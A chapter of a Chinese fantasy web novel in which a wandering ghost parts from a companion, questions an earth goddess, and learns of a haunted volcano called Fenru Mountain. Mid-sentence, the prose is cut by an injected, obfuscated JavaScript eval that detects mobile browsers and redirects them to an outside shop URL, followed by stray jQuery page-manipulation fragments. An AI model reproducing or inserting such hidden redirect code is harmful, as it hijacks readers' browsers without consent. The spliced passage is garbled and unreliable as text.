22. 焚如之山
    “素闻蓬莱八仙座下有一高僧,法号无相,隐居蓬莱岛避世不出,替蓬莱八仙镇守蓬莱仙岛已有十余年。这十余年间,有意涉足蓬莱之人,无一不曾尝过他的苦头。但迄今为止,仍未有人得见其真容。”

    日游神道:“而今蓬莱八仙奉帝明之命接下了蟠龙锁一案,蓬莱岛总要留人看守,那八个老头行事又历来散漫。他们若不亲自出山,派出来的,便只会是那位无相法师了。”

    说是要查蟠龙锁,实则却是要彻查清扫所有可能留存世上的巫族。

    魏灯面色凝重。

    如今天庭已派下人来追查她的行踪,恐怕不多时就会查到她身上来……这事,还是不要牵扯太多无关的人为好。

    三人出了地府后,少师晴面无表情地看了她们一眼,道:“我虽不知你们所求为何,又为何到万寿城来。只要你们不曾作恶,我便不会无端冤枉任何一个好人。但我还是要劝一句:勿要多管闲事,尽早远离此地。”

    言尽于此后,她亦不再多留,当即拂袖而去。

    余下二人目送着少师晴离开,却是不约而同地叹了口气。

    姜灵韫同为巫族之人,此刻天庭清查巫族痕迹,不免生出些即将要大难临头之感,这才感到紧张。

    她古怪地看了看魏灯,道:“你叹什么气?”

    “啊,没什么。”魏灯道,“感慨感慨罢了。”

    “感慨?”姜灵韫道,“你……莫非是在替‘她’惋惜?”

    姜灵韫没提名字,魏灯仍听得出这话里的“她”指的并非少师晴。

    当今世上,人人对这千百年前的邪巫将恐将惧。因着这前车之鉴,就连历代当朝国君都不许有人再提她的姓名。

    现对着一个仅有一面之缘的陌生人,有点顾忌也在情理之中。

    反正,这终归只是个可有可无的名字罢了。

    “不啊。”魏灯摊摊手,淡淡道,“我觉得她是活该。”

    姜灵韫愣住了。

    魏灯笑了笑,“此人作恶多端,臭名远扬,岂非板上钉钉的事?怎么会有人觉得惋惜呢?要说最该惋惜的,该是那些被她害死的百姓吧。嘶,你莫名其妙问这些做什么?”

    “什么嘛,”姜灵韫嗔道,“不是你先叹的气,我才有此一问嘛。”

    “那也是你先问的。”魏灯一本正经道。

    “嗤,懒得同你掰扯!”姜灵韫甩头就走。

    “一说就恼。唉,果然还是个小孩……”

    “说谁啊你!”

    “谁应就是谁。”

    “你也没大我几岁吧!”

    “……”

    两人口头上小闹了一阵,不知不觉便越走越远了。

    她们止步于酆都城门处,心有灵犀似的都没有再前行。

    魏灯指尖无意点着手中的竹竿,道:“此番多谢你了,就到这里吧。”

    姜灵韫本欲挽留,又想到自己原也不能久留于此,她此行目的还没找到呢,便只好抱拳道:“也好……那后会有期?”

    魏灯却道:“有期无期谁说得准呢?我们道不同,说不准,这辈子都没法再见了。”

    “你说什么?”

    姜灵韫还以为自己听错了,反复将这话咀嚼了好几遍,从里品出了些“道不同不相为谋”、“我不想与你再有太多交集”这样的意思来,顿时火气上冒。

    这人什么毛病啊?

    哪有人是这么说话的!活这么久了连句客套话也不懂得说吗,怎么净泼人冷水!

    于是她挥挥手道:“行啊,我还以为万寿城这一夜过来咱俩怎么也算有点交情了,结果你居然还是如此不领情。那便如你所愿,我们这辈子最好都别见了!哼,再见!”

    “呸!”姜灵韫回头怒骂,“永别!”

    魏灯哭笑不得,目送着那抹逐渐被鬼群淹没的浅浅青影,嘴角微微上扬,眼神却靡靡呆滞起来,不知是望向远方乌泱泱的阴冥山脉,还是望向近处往来游走的百鬼。

    最后,笑中牵出了一丝苦涩的味道。

    那话虽无情,却是实话。

    她阔别这人间三千载,现世一切早与曾经大有不同了。

    若非路逢姜灵韫,误打误撞发现了重新面世的古巫术与巫族圣器,说不准此刻她已经瘫在荒郊野岭哪个没有鬼睡的棺材里,要再这么躺上个千千万万年了。

    与姜灵韫分别之后,黄泉路上,魏灯鼓足了勇气,抓了几只看起来面善些的鬼打听了一圈“阿鼻山”所在。

    结果是一无所获。

    难道这所谓的“阿鼻山”与大名鼎鼎的“阿鼻地狱”并无关联?

    无可奈何之下,她只得偷偷从鬼门里溜出来,回到了人间。

    魏灯连夜赶路,走到不知哪处村落时,天边已隐隐泛起了鱼肚白。

    鬼魂之躯无法在日光下行动自如。比起一般的魂魄来说,虽不至于魂飞魄散,却极有可能被烧成重伤,不堪言状。

    趁天光未大亮,魏灯持竹竿试着点了点地,站在原处等了半晌——无事发生。

    于是她使力敲打地面,唤道:“土地仙在否?”——还是无事发生。

    魏灯扶额长叹,四处张望,搬起了树下一块有她两个脑袋那么大的石头,高举半空,重重砸下去——

    只听“嘭”的一声,一团灰烟从地里冒出来,炸出一个白发苍苍的土地婆。

    那土地婆拄着红木杖,一边捶背大叫,嘴里很没好气,“你哪位啊你?!懂不懂怎么尊敬长辈的!哎呦呦老婆子这腰都快断了……”

    啊……

    魏灯不禁想:论老,恐怕没人能比自己更老了吧。

    但这话她也就在心里念念,第一时间便上前帮忙顺了顺那土地婆的腰,诚恳地把“对不住”这词重复了好几遍。

    那土地婆脸色仍是不好,道:“老婆子我从不与鬼打交道,你要问路该找鬼去,找老婆子我做什么?”

    “噢,晚辈并非是迷路了。”魏灯道,“只是想向您打听点事。”

    土地婆斜晲了她一眼,“啥事?”

    魏灯问:“您可曾听闻‘阿鼻山’之名?”

    那土地婆一脸懵。

    “什么阿鼻山?”她说,“老婆子我在这地界当仙当了几十年,全天下没哪个地方的土地老儿有我不认识的,从没听说过什么‘阿鼻山。’”

    魏灯皱起了眉,她问:“那您可知自天君飞升以来,有哪座山闹过鬼?不太平?或是哪些地方的山神死得蹊跷、杳无音讯,亦或行为诡异什么的。”

    土地婆臭着一张脸道:“你这范围可就大了。无人山中常有乱葬岗,闹鬼的多了去了。那群山神好吃懒做,喝了点假酒成天玩失踪,一年一次上天庭议事都要告假,天君日

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13706515|144498||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    理万机也管不过来,要老婆子上哪儿给你问去?”

    她又道:“没别的事就莫烦老婆子我了,天还没亮全乎呢……就急巴巴把老婆子打上来,害我觉都没睡饱……”

    而后,打了个哈欠,作势要钻回地里。魏灯忙拉住她,摆着张笑脸道:“等等,打搅婆婆了,最后一问,可好?您可否帮我问问,这世上有没有一个能符合方才那些条件两条以上的……活火山?”

    “火山?”那土地婆不耐烦道,“……等着。”

    随即“咻”地遁入土地中。

    魏灯静立等待片刻,生怕这老婆婆说话不算话,进去就再不回来了。

    但这念头才刚在脑海中响起,那土地婆便复从地缝里窣身而出,叫魏灯松了口气。

    “有了。”土地婆道,“北狄国大明城往东二百里,就有座活火山,叫做‘焚如山’。这焚如山山神坐镇此山已有百年,呃……性子是挺孤僻的,每年大年初一上天庭议事,他总是一言不发,也不爱与人交谈。即便来了,也是匆匆一趟就走了,反正老婆子我对此人是没什么印象。

    “但据几个土地老儿说,似乎去年议事时,便没有见到他的身影……不过这也算不上特别,要说唯一古怪之处,那便是这么一座活火山,却总有些闹鬼的传闻——可也有人说,闹的不是鬼……唉,也没打听到多少,消息都乱七八糟的……”

    活火山阳气足,却闹鬼,那确实是奇之又奇了。

    “噢……竟是如此。”魏灯微笑道,“那婆婆可知,这焚如山神是何时开始掌管这座山的?”

    土地婆想了想,道:“应是五百年前?嘿,你才答应老婆子说方才那是最后一问,怎么还临阵反悔呢?”

    魏灯尴尬笑笑。

    土地婆立眉瞪眼,却不住多嘴:“不过吧,这焚如山虽是有那么些闹鬼的传闻,但至今却并未传出有凡人被厉鬼害死的消息。当地百姓对此也不惧怕,想来多是谣传,不足为奇。天底下这些事多得数不清,凡人多爱疑神疑鬼的,那都是家常便饭。”

    魏灯点点头,“好,多谢婆婆了。”

    说罢,土地婆扭了扭身子缩回地里,化作一团烟雾无影无踪。

    焚如之山……

    “焚如”,有火焰炽盛、战争之意,亦是人间一种以火烧杀罪犯的酷刑,与阿鼻山的“阿鼻”二字倒是大同小异。

    如此,这焚如山当是唯一的线索了。

    如今魏灯仍身处轩辕国境内,焚如山地处北狄国,路途遥远,仅几日定是到不了的。这一趟估摸着少说要耗上四五个月,急也急不来。

    天光大亮,太阳自东边山脉冒出了个头。

    仅是这一点点灼眼的辉光,魏灯便觉得身上隐有烧灼之感,裸露在外的皮肤又麻又痒,遂匆匆爬上山,随便找到块坟地便躺了进去。

    ——也不知道这墓主人入了轮回没有,若还漂游在人世,她这可不就是未经允许,“私闯民宅”了吗?

    魏灯双手合十。

    罪过罪过……

    她刚下灵山时便打算再寻个坟躺平,谁料撞上了万寿城一事,躺平未成,本就没恢复多少的精力又给耗了个精光。

    如今途中终于能休息一下,这一睡,就睡到了夜间更深露重之时。

    刚睁眼没多久,便听狭窄闭塞的木棺之外传来了一阵交缠碰撞的锁链声响。